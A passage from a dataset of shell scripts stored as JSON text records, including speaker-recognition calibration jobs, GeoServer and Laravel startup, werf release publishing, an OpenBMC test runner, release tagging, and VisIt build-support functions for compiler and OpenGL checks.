sre21-audio-dev\"\n$cmd $cal_score_dir/eval_cal_sre21_audio_dev.log \\\n hyp_utils/conda_env.sh \\\n steps_be/eval-calibration-v1-sre21-dev.py \\\n --in-score-file $score_dir/sre21_audio_dev_scores \\\n --ndx-file data/sre21_audio_dev_test/trials \\\n --model-file $model_file \\\n --out-score-file $cal_score_dir/sre21_audio_dev_scores &\n\necho \"$0 eval calibration v1 for sre21-audio-visual-dev\"\n$cmd $cal_score_dir/eval_cal_sre21_audio-visual_dev.log \\\n hyp_utils/conda_env.sh \\\n steps_be/eval-calibration-v1-sre21-dev.py \\\n --in-score-file $score_dir/sre21_audio-visual_dev_scores \\\n --ndx-file data/sre21_audio-visual_dev_test/trials \\\n --model-file $model_file \\\n --out-score-file $cal_score_dir/sre21_audio-visual_dev_scores &\n\n\nutils/utt2spk_to_spk2utt.pl \\\n data/sre21_audio_eval_enroll/utt2model | \\\n awk '{ print $1,NF-1}' \\\n > $cal_score_dir/sre21eval_nenr\n\nawk -v u2l=data/sre21_audio_eval_enroll/utt2est_lang '\nBEGIN{\n while(getline < u2l)\n {\n lang[$1]=$2\n }\n}\n{ if(!($2 in done)){ \n print $2,lang[$1]; \n done[$2]=1;\n } \n}' data/sre21_audio_eval_enroll/utt2model > $cal_score_dir/sre21eval_e2l\n\necho \"$0 eval calibration v1 for sre21-audio-eval\"\n$cmd $cal_score_dir/eval_cal_sre21_audio_eval.log \\\n hyp_utils/conda_env.sh \\\n steps_be/eval-calibration-v1-sre21-eval.py \\\n --in-score-file $score_dir/sre21_audio_eval_scores \\\n --ndx-file data/sre21_audio_eval_test/trials \\\n --model-file $model_file \\\n --out-score-file $cal_score_dir/sre21_audio_eval_scores \\\n --nenr-file $cal_score_dir/sre21eval_nenr \\\n --enroll-lang $cal_score_dir/sre21eval_e2l \\\n --test-lang data/sre21_audio_eval_test/utt2est_lang &\n\necho \"$0 eval calibration v1 for sre21-audio-eval\"\n$cmd $cal_score_dir/eval_cal_sre21_audio-visual_eval.log \\\n hyp_utils/conda_env.sh \\\n steps_be/eval-calibration-v1-sre21-eval.py \\\n --in-score-file $score_dir/sre21_audio-visual_eval_scores \\\n --ndx-file data/sre21_audio-visual_eval_test/trials \\\n --model-file $model_file \\\n --out-score-file $cal_score_dir/sre21_audio-visual_eval_scores \\\n --nenr-file $cal_score_dir/sre21eval_nenr \\\n --enroll-lang $cal_score_dir/sre21eval_e2l \\\n --test-lang data/sre21_audio-visual_eval_test/utt2est_lang &\n\nwait"} {"text": "#!/bin/bash\n\n##========================================\n## Run GeoServer \n##========================================\n\n## Setup the JRE and GDAL for GeoServer\nsource ./setup.sh\n\n## Environment variables for GeoServer\nsource ./env.sh\n\n## Start the Jetty servlet container and the GeoServer webapp\ncd ${GEOSERVER_HOME}/bin\n./startup.sh"} {"text": "#!/bin/bash\n\ncomposer install\nnpm install\nphp artisan migrate:refresh --seed\nnpm run dev\n\ncat './resources/css/csstemplate.css' >> './public/css/app.css' \n\nphp artisan serve"} {"text": "publish_binaries() {\n VERSION=$1\n\n echo \"Publish version $VERSION from git tag $VERSION\"\n ( bintray_create_version $VERSION && echo \"Bintray: Version $VERSION created\" ) || ( exit 1 )\n\n for os in linux darwin windows ; do\n for arch in amd64 ; do\n fileName=werf-$os-$arch-$VERSION\n if [ \"$os\" == \"windows\" ] ; then\n fileName=$fileName.exe\n fi\n\n localFile=$RELEASE_BUILD_DIR/$VERSION/$fileName\n\n ( bintray_upload_file_into_version $VERSION $localFile $fileName ) || ( exit 1 )\n done\n done\n\n ( bintray_upload_file_into_version $VERSION $RELEASE_BUILD_DIR/$VERSION/SHA256SUMS SHA256SUMS ) || ( exit 1 )\n}\n\nsign_binaries() {\n VERSION=$1\n\n dlUrl=\"https://dl.bintray.com/${BINTRAY_SUBJECT}/${BINTRAY_REPO}/${VERSION}/SHA256SUMS\"\n\n signDir=\"$RELEASE_BUILD_DIR/$VERSION/sign\"\n\n mkdir -p $signDir\n\n curl $dlUrl -o $signDir/SHA256SUMS\n\n # TODO\n cp $signDir/SHA256SUMS $signDir/SHA256SUMS.dsc\n\n ( bintray_upload_file_into_version $VERSION $signDir/SHA256SUMS.dsc SHA256SUMS.dsc ) || ( exit 1 )\n}"} {"text": "#!/bin/bash -x\n# Extract and run the OpenBMC robot test suite\n#\n# The robot test results will be copied to ${HOME}\n#\n# Requires following env variables be set:\n# IP_ADDR IP Address of openbmc\n# SSH_PORT SSH port of openbmc\n# HTTPS_PORT HTTPS port of openbmc\n#\n# Optional env variable\n# ROBOT_CODE_HOME Location to extract the code\n# Default will be a temp location in /tmp/\n# ROBOT_TEST_CMD Command to execute from within obmc robot test framework\n# Default will be \"tox -e qemu -- --include QEMU_CI tests\"\n# MACHINE Type of system to run tests against\n# Default is qemu\n\n# we don't want to fail on bad rc since robot tests may fail\n\nMACHINE=${MACHINE:-\"qemu\"}\nROBOT_CODE_HOME=${ROBOT_CODE_HOME:-/tmp/$(whoami)/${RANDOM}/obmc-robot/}\nROBOT_TEST_CMD=${ROBOT_TEST_CMD:-\"python3 -m robot\\\n -v OPENBMC_HOST:${IP_ADDR}\\\n -v SSH_PORT:${SSH_PORT}\\\n -v HTTPS_PORT:${HTTPS_PORT}\\\n --argumentfile ./test_lists/QEMU_CI ./tests\"}\n\ngit clone https://github.com/openbmc/openbmc-test-automation.git \\\n ${ROBOT_CODE_HOME}\n\ncd ${ROBOT_CODE_HOME}\n\nchmod ugo+rw -R ${ROBOT_CODE_HOME}/*\n\n# Execute the CI tests\n\"$($ROBOT_TEST_CMD)\"\n\ncp ${ROBOT_CODE_HOME}/*.xml ${HOME}/\ncp ${ROBOT_CODE_HOME}/*.html ${HOME}/\nif [ -d logs ] ; then\n cp -Rf ${ROBOT_CODE_HOME}/logs ${HOME}/ ;\nfi\n\n#rm -rf ${ROBOT_CODE_HOME}"} {"text": "<reponame>pnieves2019/MAELAS\n#!/bin/bash\n\natomsk cell.lmp pos\n\nmv POSCAR POSCAR_rlx\n\nmaelas -g -mode 1 -i POSCAR_rlx -s 0.005 -n 9\n\nfor i in {1..2}\n\ndo\n\nfor j in {1..9}\n\ndo\n\natomsk POSCAR_${i}_${j} -alignx lmp -ow\n\n\nmyFile=\"POSCAR_${i}_${j}.lmp\"\n\n\nn=1\nwhile read line; do\n\tif [ $n -gt 15 ];\n\tthen\n\n\techo $line \" 0.0 0.0 0.0 0.0\" >> POSCAR_${i}_${j}_new.lmp\n\telse\n\techo $line >> POSCAR_${i}_${j}_new.lmp\n\tfi\n\n\tn=$((n+1))\ndone < $myFile\n\nmv POSCAR_${i}_${j}_new.lmp POSCAR_${i}_${j}.lmp\n\n\ndone\n\ndone"} {"text": "###\n# Use this script to release to pypi.\n# 1. Update version in setup.up\n# 2. COMMIT everything\n# 3. Run this script from project root:\n# ```\n# $ scripts/release.sh\n# ```\n##\n\nif [ -n \"$(git status --porcelain)\" ]; then\n echo \"!Error: Changes need to be committed or stashed first!\"\n exit 1\nfi\n\necho \"Creating and pushing tag: $(python setup.py --version).\"\ngit tag $(python setup.py --version)\ngit push --tags\n\necho \"Complete.\""} {"text": "<filename>test/sample-test/hack/update_requirements.sh<gh_stars>0\n#!/bin/bash\n\nset -ex\n\ncat ../../sdk/python/requirements.in ../../backend/api/python_http_client/requirements.txt ../../backend/requirements.in requirements.in | \\\n ../../backend/update_requirements.sh google/cloud-sdk:315.0.0 >requirements.txt"} {"text": "export PROJECTS_DIR=\"$HOME/Work/Projects\"\n\nfunction _work_complete () {\n reply = ()\n IFS=$(echo -en \"\\n\\b\")\n for f in $PROJECTS_DIR/*; do\n reply=( ${reply[@]} ${f##*/})\n done\n}\n\nfunction work() {\n cd $PROJECTS_DIR/$1\n}\ncompctl -K _work_complete work\n\n\nfunction ow() {\n cd $PROJECTS_DIR/$1/Code/\n (open *.xcworkspace 2>/dev/null) || (open *.xcodeproj 2>/dev/null)\n}\ncompctl -K _work_complete ow"} {"text": "<reponame>jlashner/ares<gh_stars>1-10\nmpirun -np 2 python test_parallel_grid.py order_2_4 1\nmpirun -np 4 python test_parallel_grid.py order_2_4 1000\n\nmpirun -np 4 python test_parallel_grid.py order_4_2 1\nmpirun -np 2 python test_parallel_grid.py order_4_2 1000\n\nmpirun -np 2 python test_parallel_grid.py order_2_2 1\nmpirun -np 2 python test_parallel_grid.py order_2_2 1000\n\nmpirun -np 4 python test_parallel_grid.py order_4_4 1\nmpirun -np 4 python test_parallel_grid.py order_4_4 1000\n\nmpirun -np 4 python test_parallel_grid.py order_4 1000"} {"text": "<filename>src/tools/dev/scripts/bv_support/bv_main.sh\n# --------------------------------------------------------------------------- #\n# checking compiler minimum version #\n# --------------------------------------------------------------------------- #\nfunction vercomp ()\n{\n if [[ $1 == $2 ]]\n then\n return 0\n fi\n local IFS=.\n local i ver1=($1) ver2=($2)\n # fill empty fields in ver1 with zeros\n for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))\n do\n ver1[i]=0\n done\n for ((i=0; i<${#ver1[@]}; i++))\n do\n if [[ -z ${ver2[i]} ]]\n then\n # fill empty fields in ver2 with zeros\n ver2[i]=0\n fi\n if [[ 10#${ver1[i]} > 10#${ver2[i]} ]]\n then\n return 1\n fi\n if [[ 10#${ver1[i]} < 10#${ver2[i]} ]]\n then\n return 2\n fi\n done\n return 0\n}\n\nfunction testvercomp ()\n{\n vercomp $1 $2\n case $? in\n 0) op='=';;\n 1) op='>';;\n 2) op='<';;\n esac\n if [[ $op != $3 ]]\n then\n return 1\n else\n return 0\n fi\n}\n\nfunction check_minimum_compiler_version()\n{\n if [[ \"$CXX_COMPILER\" == \"g++\" ]] ; then\n VERSION=$(g++ -v 2>&1 | grep \"gcc version\" | cut -d' ' -f3 )\n echo \"g++ version $VERSION\"\n testvercomp $VERSION 4.8 '<'\n if [[ $? == 0 ]] ; then\n echo \"Need g++ version >= 4.8\"\n exit 1\n fi\n elif [[ \"$OPSYS\" == \"Darwin\" && \"$CXX_COMPILER\" == \"clang++\" ]] ; then \n VERSION=$(clang++ -v 2>&1 | grep \"clang version\" | cut -d' ' -f3 )\n echo \"apple clang version $VERSION\"\n testvercomp $VERSION 5.0 '<'\n if [[ $? == 0 ]] ; then\n echo \"Need clang++ version >= 0.0\"\n exit 1\n fi\n elif [[ \"$CXX_COMPILER\" == \"clang++\" ]] ; then \n VERSION=$(clang++ -v 2>&1 | grep \"clang version\" | cut -d' ' -f3 )\n echo \"clang version $VERSION\"\n testvercomp $VERSION 3.3 '<'\n if [[ $? == 0 ]] ; then\n echo \"Need clang++ version >= 3.3\"\n exit 1\n fi\n elif [[ \"$CXX_COMPILER\" == \"icpc\" ]] ; then \n VERSION=$(icpc -v 2>&1 | grep \"icpc version\" | cut -d' ' -f3 )\n if [[ $VERSION == \"\" ]] ; then\n VERSION=$(icpc -v 2>&1 | grep \"icpc.orig version\" | cut -d' ' -f3 )\n fi\n echo \"icpc version $VERSION\"\n testvercomp $VERSION 14.0 '<'\n if [[ $? == 0 ]] ; then\n echo \"Need icpc version >= 14.0\"\n exit 1\n fi\n fi\n}\n\n# --------------------------------------------------------------------------- #\n# checking opengl context creation (minimum required is 3.2)\n# --------------------------------------------------------------------------- #\n\nfunction check_opengl_context()\n{\n # Check if we can create a 3.2 context with system gl\n echo \"#include <GL/gl.h>\" >> checkogl.cpp\n echo \"#include <GL/glx.h>\" >> checkogl.cpp\n echo \"#include <cstring>\" >> checkogl.cpp\n echo \"#include <cstdlib>\" >> checkogl.cpp\n echo \"#define GLX_CONTEXT_MAJOR_VERSION_ARB 0x2091\" >> checkogl.cpp\n echo \"#define GLX_CONTEXT_MINOR_VERSION_ARB 0x2092\" >> checkogl.cpp\n echo \"typedef GLXContext (*glXCreateContextAttribsARBProc)(Display*, GLXFBConfig, GLXContext, Bool, const int*);\" >> checkogl.cpp\n echo \"static bool isExtensionSupported(const char *extList, const char *extension) {\" >> checkogl.cpp\n echo \" const char *start;\" >> checkogl.cpp\n echo \" const char *where, *terminator;\" >> checkogl.cpp\n echo \" where = strchr(extension, ' ');\" >> checkogl.cpp\n echo \" if (where || *extension == '\\0')\" >> checkogl.cpp\n echo \" return false;\" >> checkogl.cpp\n echo \" for (start=extList;;) {\" >> checkogl.cpp\n echo \" where = strstr(start, extension);\" >> checkogl.cpp\n echo \" if (!where)\" >> checkogl.cpp\n echo \" break;\" >> checkogl.cpp\n echo \" terminator = where + strlen(extension);\" >> checkogl.cpp\n echo \" if ( where == start || *(where - 1) == ' ' )\" >> checkogl.cpp\n echo \" if ( *terminator == ' ' || *terminator == '\\0' )\" >> checkogl.cpp\n echo \" return true;\" >> checkogl.cpp\n echo \" start = terminator;\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" return false;\" >> checkogl.cpp\n echo \"}\" >> checkogl.cpp\n echo \"static bool ctxErrorOccurred = false;\" >> checkogl.cpp\n echo \"static int ctxErrorHandler( Display *dpy, XErrorEvent *ev )\" >> checkogl.cpp\n echo \"{\" >> checkogl.cpp\n echo \" ctxErrorOccurred = true;\" >> checkogl.cpp\n echo \" return 0;\" >> checkogl.cpp\n echo \"}\" >> checkogl.cpp\n echo \"int main(int argc, char* argv[])\" >> checkogl.cpp\n echo \"{\" >> checkogl.cpp\n echo \" Display *display = XOpenDisplay(NULL);\" >> checkogl.cpp\n echo \" if (!display)\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" exit(1);\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" static int visual_attribs[] =\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" GLX_X_RENDERABLE , True,\" >> checkogl.cpp\n echo \" GLX_DRAWABLE_TYPE , GLX_WINDOW_BIT,\" >> checkogl.cpp\n echo \" GLX_RENDER_TYPE , GLX_RGBA_BIT,\" >> checkogl.cpp\n echo \" GLX_X_VISUAL_TYPE , GLX_TRUE_COLOR,\" >> checkogl.cpp\n echo \" GLX_RED_SIZE , 8,\" >> checkogl.cpp\n echo \" GLX_GREEN_SIZE , 8,\" >> checkogl.cpp\n echo \" GLX_BLUE_SIZE , 8,\" >> checkogl.cpp\n echo \" GLX_ALPHA_SIZE , 8,\" >> checkogl.cpp\n echo \" GLX_DEPTH_SIZE , 24,\" >> checkogl.cpp\n echo \" GLX_STENCIL_SIZE , 8,\" >> checkogl.cpp\n echo \" GLX_DOUBLEBUFFER , True,\" >> checkogl.cpp\n echo \" //GLX_SAMPLE_BUFFERS , 1,\" >> checkogl.cpp\n echo \" //GLX_SAMPLES , 4,\" >> checkogl.cpp\n echo \" None\" >> checkogl.cpp\n echo \" };\" >> checkogl.cpp\n echo \" int glx_major, glx_minor;\" >> checkogl.cpp\n echo \" if ( !glXQueryVersion( display, &glx_major, &glx_minor ) || ( ( glx_major == 1 ) && ( glx_minor < 3 ) ) || ( glx_major < 1 ) )\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" exit(1);\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" int fbcount;\" >> checkogl.cpp\n echo \" GLXFBConfig* fbc = glXChooseFBConfig(display, DefaultScreen(display), visual_attribs, &fbcount);\" >> checkogl.cpp\n echo \" if (!fbc)\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" exit(1);\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" int best_fbc = -1, worst_fbc = -1, best_num_samp = -1, worst_num_samp = 999;\" >> checkogl.cpp\n echo \" int i;\" >> checkogl.cpp\n echo \" for (i=0; i<fbcount; ++i)\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" XVisualInfo *vi = glXGetVisualFromFBConfig( display, fbc[i] );\" >> checkogl.cpp\n echo \" if ( vi )\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" int samp_buf, samples;\" >> checkogl.cpp\n echo \" glXGetFBConfigAttrib( display, fbc[i], GLX_SAMPLE_BUFFERS, &samp_buf );\" >> checkogl.cpp\n echo \" glXGetFBConfigAttrib( display, fbc[i], GLX_SAMPLES , &samples );\" >> checkogl.cpp\n echo \" if ( best_fbc < 0 || samp_buf && samples > best_num_samp )\" >> checkogl.cpp\n echo \" best_fbc = i, best_num_samp = samples;\" >> checkogl.cpp\n echo \" if ( worst_fbc < 0 || !samp_buf || samples < worst_num_samp )\" >> checkogl.cpp\n echo \" worst_fbc = i, worst_num_samp = samples;\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" XFree( vi );\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" GLXFBConfig bestFbc = fbc[ best_fbc ];\" >> checkogl.cpp\n echo \" XFree( fbc );\" >> checkogl.cpp\n echo \" XVisualInfo *vi = glXGetVisualFromFBConfig( display, bestFbc );\" >> checkogl.cpp\n echo \" XSetWindowAttributes swa;\" >> checkogl.cpp\n echo \" Colormap cmap;\" >> checkogl.cpp\n echo \" swa.colormap = cmap = XCreateColormap( display, RootWindow( display, vi->screen ), vi->visual, AllocNone );\" >> checkogl.cpp\n echo \" swa.background_pixmap = None ;\" >> checkogl.cpp\n echo \" swa.border_pixel = 0;\" >> checkogl.cpp\n echo \" swa.event_mask = StructureNotifyMask;\" >> checkogl.cpp\n echo \" Window win = XCreateWindow( display, RootWindow( display, vi->screen ), 0, 0, 100, 100, 0, vi->depth, InputOutput, vi->visual, CWBorderPixel|CWColormap|CWEventMask, &swa );\" >> checkogl.cpp\n echo \" if ( !win )\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" exit(1);\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" XFree( vi );\" >> checkogl.cpp\n echo \" XStoreName( display, win, \\\"GL 3.0 Window\\\" );\" >> checkogl.cpp\n echo \" XMapWindow( display, win );\" >> checkogl.cpp\n echo \" const char *glxExts = glXQueryExtensionsString( display, DefaultScreen( display ) );\" >> checkogl.cpp\n echo \" glXCreateContextAttribsARBProc glXCreateContextAttribsARB = 0;\" >> checkogl.cpp\n echo \" glXCreateContextAttribsARB = (glXCreateContextAttribsARBProc) glXGetProcAddressARB( (const GLubyte *) \\\"glXCreateContextAttribsARB\\\" );\" >> checkogl.cpp\n echo \" GLXContext ctx = 0;\" >> checkogl.cpp\n echo \" ctxErrorOccurred = false;\" >> checkogl.cpp\n echo \" int (*oldHandler)(Display*, XErrorEvent*) = XSetErrorHandler(&ctxErrorHandler);\" >> checkogl.cpp\n echo \" if ( !isExtensionSupported( glxExts, \\\"GLX_ARB_create_context\\\" ) || !glXCreateContextAttribsARB )\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" exit(1);\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" else\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" int context_attribs[] =\" >> checkogl.cpp\n echo \" {\" >> checkogl.cpp\n echo \" GLX_CONTEXT_MAJOR_VERSION_ARB, 3,\" >> checkogl.cpp\n echo \" GLX_CONTEXT_MINOR_VERSION_ARB, 2,\" >> checkogl.cpp\n echo \" //GLX_CONTEXT_FLAGS_ARB , GLX_CONTEXT_FORWARD_COMPATIBLE_BIT_ARB,\" >> checkogl.cpp\n echo \" None};\" >> checkogl.cpp\n echo \" ctx = glXCreateContextAttribsARB( display, bestFbc, 0, True, context_attribs );\" >> checkogl.cpp\n echo \" XSync( display, False );\" >> checkogl.cpp\n echo \" if ( ctxErrorOccurred || !ctx ){\" >> checkogl.cpp\n echo \" exit(1);\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" }\" >> checkogl.cpp\n echo \" XCloseDisplay( display );\" >> checkogl.cpp\n echo \" return 0;\" >> checkogl.cpp\n echo \"}\" >> checkogl.cpp\n\n $CXX_COMPILER checkogl.cpp -Wl,-lGL -lSM -lICE -lX11 -lXext\n if [[ $? != 0 ]]; then\n echo \"failed to compile checkogl.cpp\"\n rm -f checkogl.cpp\n rm -f a.out\n exit 1\n fi\n ./a.out \n if [[ $? != 0 ]]; then\n echo \"Could not obtain a 3.2 context with system GL.\"\n echo \"You may want to add --mesagl to the command line.\"\n echo \"To disable this check use --skip-opengl-context-check\"\n rm -f checkogl.cpp\n rm -f a.out\n exit 1\n fi\n rm -f checkogl.cpp\n rm -f a.out\n}\n\n\n# ************************************************************************** #\n# Section 1, setting up inputs #\n# --------------------------------------------------------------------------- #\n# This section sets up the inputs to the VisIt script. This is where you can #\n# specify which compiler to use, which versions of the third party libraries, #\n# etc. Note that this script is really only known to work with gcc. #\n# *************************************************************************** #\n\n\nfunction initialize_build_visit()\n{\n # This env. variable is NOT to be overriden by user. It is intended to\n # contain user's env. just prior to running build_visit.\n export BUILD_VISIT_ENV=$(env | cut -d'=' -f1 | sort | uniq)\n\n # allow users to set an external hostname for output filename\n export EXTERNAL_HOSTNAME=\"\"\n\n # Can cause problems in some build systems.\n unset CDPATH\n\n # Some systems tar command does not support the deep directory hierarchies\n # used in Qt, such as AIX. Gnu tar is a good alternative.\n ### export TAR=/usr/local/bin/tar # Up and Purple\n export TAR=tar\n\n #\n # we have logic that assumes lib dirs are named \"lib\", not \"lib64\". On \n # openSuSe some of the autoconf based 3rd party libs will install to \"lib64\"\n # unless the \"CONFIG_SITE\" env var is cleared \n #\n export CONFIG_SITE=\"\"\n\n\n # Determine if gfortran is present. This overly complex coding is to prevent\n # the \"which\" command from echoing failure to the user.\n which gfortran >& /dev/null\n if [[ $? == 0 ]]; then\n export GFORTRAN=`which gfortran | grep '^/'`\n else\n export GFORTRAN=\"\"\n fi\n\n export OPSYS=${OPSYS:-$(uname -s)}\n export PROC=${PROC:-$(uname -p)}\n export REL=${REL:-$(uname -r)}\n # Determine architecture\n if [[ \"$OPSYS\" == \"Darwin\" ]]; then\n export ARCH=${ARCH:-\"${PROC}-apple-darwin${REL%%.*}\"}\n # export VISITARCH=${VISITARCH-${ARCH}}\n export SO_EXT=\"dylib\"\n VER=$(uname -r)\n # Check for Panther, because MACOSX_DEPLOYMENT_TARGET will\n # default to 10.1\n\t\n # Used http://en.wikipedia.org/wiki/Darwin_(operating_system)\n # to map Darwin Kernel versions to OSX version numbers. Other\n # options for dealing with MACOSX_DEPLOYMENT_TARGET didn't\n # work See issue #1499 (https://visitbugs.ornl.gov/issues/1499)\n\n # use gcc for 10.9 & earlier\n\n\tVER_MAJOR=${VER%%.*}\n\n\t# bash script educational note:\n\t# The less than sign \"<\" is an arithmetic expression and\n\t# as such one must use parenthesis (( .. )) and not square brackets.\n\t# i.e. if (( ${VER_MAJOR} < 8 )) ; then\n\n\t# Square brackets are for contionals only. To make it a\n\t# conditional one must use \"-lt\"\n # i.e. if [[ ${VER_MAJOR} -lt 8 ]] ; then\n\t \n if [[ ${VER_MAJOR} -lt 8 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.3\n elif [[ ${VER_MAJOR} == 8 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.4\n elif [[ ${VER_MAJOR} == 9 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.5\n elif [[ ${VER_MAJOR} == 10 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.6\n elif [[ ${VER_MAJOR} == 11 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.7\n elif [[ ${VER_MAJOR} == 12 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.8\n elif [[ ${VER_MAJOR} == 13 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.9\n export C_COMPILER=${C_COMPILER:-\"clang\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"clang++\"}\n elif [[ ${VER_MAJOR} == 14 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.10\n export C_COMPILER=${C_COMPILER:-\"clang\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"clang++\"}\n elif [[ ${VER_MAJOR} == 15 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.11\n export C_COMPILER=${C_COMPILER:-\"clang\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"clang++\"}\n elif [[ ${VER_MAJOR} == 16 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.12\n export C_COMPILER=${C_COMPILER:-\"clang\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"clang++\"}\n elif [[ ${VER_MAJOR} == 17 ]] ; then\n export MACOSX_DEPLOYMENT_TARGET=10.13\n export C_COMPILER=${C_COMPILER:-\"clang\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"clang++\"}\n else\n export MACOSX_DEPLOYMENT_TARGET=10.13\n export C_COMPILER=${C_COMPILER:-\"clang\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"clang++\"}\n fi\n\n export C_COMPILER=${C_COMPILER:-\"gcc\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"g++\"}\n export FC_COMPILER=${FC_COMPILER:-$GFORTRAN}\n export C_OPT_FLAGS=${C_OPT_FLAGS:-\"-O2\"}\n export CFLAGS=${CFLAGS:-\"-fno-common -fexceptions\"}\n export CXX_OPT_FLAGS=${CXX_OPT_FLAGS:-\"-O2\"}\n export CXXFLAGS=${CXXFLAGS:-\"-fno-common -fexceptions\"}\n export FCFLAGS=${FCFLAGS:-$CFLAGS}\n export MESA_TARGET=${MESA_TARGET:-\"darwin\"}\n\t\n elif [[ \"$OPSYS\" == \"Linux\" ]]; then\n export ARCH=${ARCH:-\"linux-$(uname -m)\"} # You can change this to say RHEL, SuSE, Fedora.\n export SO_EXT=\"so\"\n if [[ \"$(uname -m)\" == \"i386\" ]] ; then\n ### export MESA_TARGET=${MESA_TARGET:-\"linux-x86\"} # Mesa-6.x\n export MESA_TARGET=${MESA_TARGET:-\"linux\"}\n elif [[ \"$(uname -m)\" == \"i686\" ]] ; then\n ### export MESA_TARGET=${MESA_TARGET:-\"linux-x86\"} # Mesa-6.x\n export MESA_TARGET=${MESA_TARGET:-\"linux\"}\n elif [[ \"$(uname -m)\" == \"x86_64\" ]] ; then\n CFLAGS=\"$CFLAGS -m64 -fPIC\"\n FCFLAGS=\"$FCFLAGS -m64 -fPIC\"\n if [[ \"$C_COMPILER\" == \"gcc\" || \"$C_COMPILER\" == \"\" ]]; then\n C_OPT_FLAGS=\"$C_OPT_FLAGS -O2\"\n fi\n CXXFLAGS=\"$CXXFLAGS -m64 -fPIC\"\n if [[ \"$CXX_COMPILER\" == \"g++\" || \"$CXX_COMPILER\" == \"\" ]]; then\n CXX_OPT_FLAGS=\"$CXX_OPT_FLAGS -O2\"\n fi\n ### export MESA_TARGET=${MESA_TARGET:-\"linux-x86-64\"} # Mesa-6.x\n export MESA_TARGET=${MESA_TARGET:-\"linux\"}\n elif [[ \"$(uname -m)\" == \"ppc64\" ]] ; then\n if [[ \"$C_COMPILER\" == \"xlc\" ]] ; then\n CFLAGS=\"$CFLAGS -qpic\"\n FCFLAGS=\"$FCFLAGS -qpic\"\n CXXFLAGS=\"$CXXFLAGS -qpic\"\n export CXX_COMPILER=${CXX_COMPILER-\"xlC\"}\n export MESA_TARGET=${MESA_TARGET-\"linux\"}\n elif [[ \"$C_COMPILER\" == \"bgxlc\" ]] ; then\n export CXX_COMPILER=${CXX_COMPILER-\"bgxlC\"}\n else\n CFLAGS=\"$CFLAGS -fPIC\"\n FCFLAGS=\"$FCFLAGS -fPIC\"\n if [[ \"$C_COMPILER\" == \"gcc\" || \"$C_COMPILER\" == \"\" ]]; then\n C_OPT_FLAGS=\"$C_OPT_FLAGS -O2\"\n fi\n CXXFLAGS=\"$CXXFLAGS -fPIC\"\n if [[ \"$CXX_COMPILER\" == \"g++\" || \"$CXX_COMPILER\" == \"\" ]]; then\n CXX_OPT_FLAGS=\"$CXX_OPT_FLAGS -O2\"\n fi\n export MESA_TARGET=${MESA_TARGET-\"linux\"}\n fi\n elif [[ \"$(uname -m)\" == \"ppc64le\" ]] ; then\n if [[ \"$C_COMPILER\" == \"xlc\" ]] ; then\n CFLAGS=\"$CFLAGS -qpic\"\n FCFLAGS=\"$FCFLAGS -qpic\"\n CXXFLAGS=\"$CXXFLAGS -qpic\"\n export CXX_COMPILER=${CXX_COMPILER-\"xlC\"}\n export MESA_TARGET=${MESA_TARGET-\"linux\"}\n QT_PLATFORM=\"linux-xlc\" #aix-xlc\"\n else\n CFLAGS=\"$CFLAGS -fPIC\"\n FCFLAGS=\"$FCFLAGS -fPIC\"\n if [[ \"$C_COMPILER\" == \"gcc\" || \"$C_COMPILER\" == \"\" ]]; then\n C_OPT_FLAGS=\"$C_OPT_FLAGS -O2\"\n fi\n CXXFLAGS=\"$CXXFLAGS -fPIC\"\n if [[ \"$CXX_COMPILER\" == \"g++\" || \"$CXX_COMPILER\" == \"\" ]]; then\n CXX_OPT_FLAGS=\"$CXX_OPT_FLAGS -O2\"\n fi\n export MESA_TARGET=${MESA_TARGET-\"linux\"}\n QT_PLATFORM=\"linux-g++\"\n fi\n elif [[ \"$(uname -m)\" == \"ia64\" ]] ; then\n CFLAGS=\"$CFLAGS -fPIC\"\n FCFLAGS=\"$FCFLAGS -fPIC\"\n if [[ \"$C_COMPILER\" == \"gcc\" || \"$C_COMPILER\" == \"\" ]]; then\n C_OPT_FLAGS=\"$C_OPT_FLAGS -O2\"\n fi\n CXXFLAGS=\"$CXXFLAGS -fPIC\"\n if [[ \"$CXX_COMPILER\" == \"g++\" || \"$CXX_COMPILER\" == \"\" ]]; then\n CXX_OPT_FLAGS=\"$CXX_OPT_FLAGS -O2\"\n fi\n fi\n export C_COMPILER=${C_COMPILER:-\"gcc\"}\n export CXX_COMPILER=${CXX_COMPILER:-\"g++\"}\n export FC_COMPILER=${FC_COMPILER:-$GFORTRAN}\n export 